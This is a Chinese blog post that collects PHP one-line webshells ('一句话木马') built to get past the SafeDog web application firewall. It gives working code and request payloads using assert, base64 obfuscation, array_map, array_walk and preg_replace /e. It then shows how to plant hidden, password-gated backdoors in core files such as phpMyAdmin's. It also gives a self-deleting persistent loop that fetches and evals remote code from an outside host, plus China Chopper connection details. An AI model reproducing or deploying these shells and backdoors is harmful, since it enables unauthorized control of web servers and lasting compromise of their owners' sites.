一句话木马过狗 php,php过狗一句话

1、

原一句话:<?php $_GET[a]($_GET[b]);?>

简单利用方法:

?a=assert&b=${fputs(fopen('d.php','w'),'<?php @eval($_POST[c])?>')};

复杂利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

URL解码:?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

base64解码:第一个是:c.php ;第二个是:<?php @eval($_POST[c]); ?>1

# 执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

改进:<?php extract($_REQUEST);@$d($_POST[b])?>

URL:IP/test.php?d=assert

密码:b 菜刀:eval

2、

原:@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));

改进:

@array_map(assert,(array)base64_decode($_REQUEST['sofia']));

连接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ== 密码 :vuln 脚本类型:PHP(eval)

[ test.php?sofia=assert($_REQUEST['vuln']) ]

3、暂无法用菜刀连接

$Base = "base6"."4"."_decod"."e";

$_clasc = $Base($_REQUEST['vuln']);

$arr = array($Base($_POST['sofia']) => '|.*|e',);

@array_walk($arr, $_clasc, '');

?>

详解:

vuln=cHJlZ19yZXBsYWNl(preg_replace的base64编码)

sofia=cGhwaW5mbygp(phpinfo()的base64编码)

$Base = "base6"."4"."_decod"."e";

$_clasc = $Base($_REQUEST['vuln']); //$_clasc=preg_replace

$arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')

@array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')

?>

维持后门:

1、

conifg.class.php文件内容:最好放在网站核心类文件中(比如phpMyAdmin\libraries\config\ConfigFile.class.php)

class Parse_Args {

public function apply_filters($key) {

assert($key);

}

}

?>

common.php文件内容: (比如放在:phpMyAdmin\import.php)

//执行代码,下面代码最好放在页面顶部,至少不要有require 文件

require_once '..\..\path\config.class.php';

@extract($_REQUEST);

$reflectionMethod = new Parse_Args();

$reflectionMethod -> apply_filters($s0fia);

菜刀URL:http://IP:80/path/common.php 密码:s0fia 脚本:eval

2、

shell.php 文件内容:(访问这个文件并提交post数据,生成2.php 一句话木马)

if($_POST['token'] == 'sofia'){

require 'c:/www/1.log';

}

1.log 文件内容:

$fp = fopen("./2.php",'w');

fwrite($fp,'<?php @eval($_POST[cmd])?>');

?>

3、插入到核心文件中:

if(@$_GET[session]=='TGYGFH'){

@array_map($_GET['TMP'],(array)base64_decode($_REQUEST['TYLOHRY']));

q

}

?>

菜刀URL:http://192.168.179.139/php_web/testroot/1.php?session=TGYGFH&TMP=assert&TYLOHRY=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ==

密码:vuln assert函数一般可以用菜刀eval连接

复现猥琐的后门,出自本文最后一个链接

条件:开启fastCGI。

局限:Apache、IIS、nginx重启后后门消失,不过可以配合这个链接创建永远存在的后门(就是将这个文件把该链接中web.php对应的PHP文件字符串替换下来,和一起存成 jpg 格式)

unlink($_SERVER['SCRIPT_FILENAME']);

ignore_user_abort(true);

set_time_limit(0);

$remote_file = 'http://xxx/1.txt';

while($code = file_get_contents($remote_file)){

@eval($code);

sleep(5);

};

?>

1.txt 内容:

file_put_contents('./2.php','<?php @eval($_POST[cmd])?>');

注:eval 表示执行PHP代码;1.txt 内一句话木马必须用单引号(非双引号,否则输出 '<?php @eval() ?>' 到2.php 文件中);

1.txt 可以是远程主机上的一句话文件,但一旦远程主机断网,再次连接后,删除2.php文件,则2.php文件不在自动创建,因为$remote_file不再是有效文件

还有一个大好处,1.txt 文件名后缀可以任意更换,只要$remote_file 的变量值对应一下就行了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值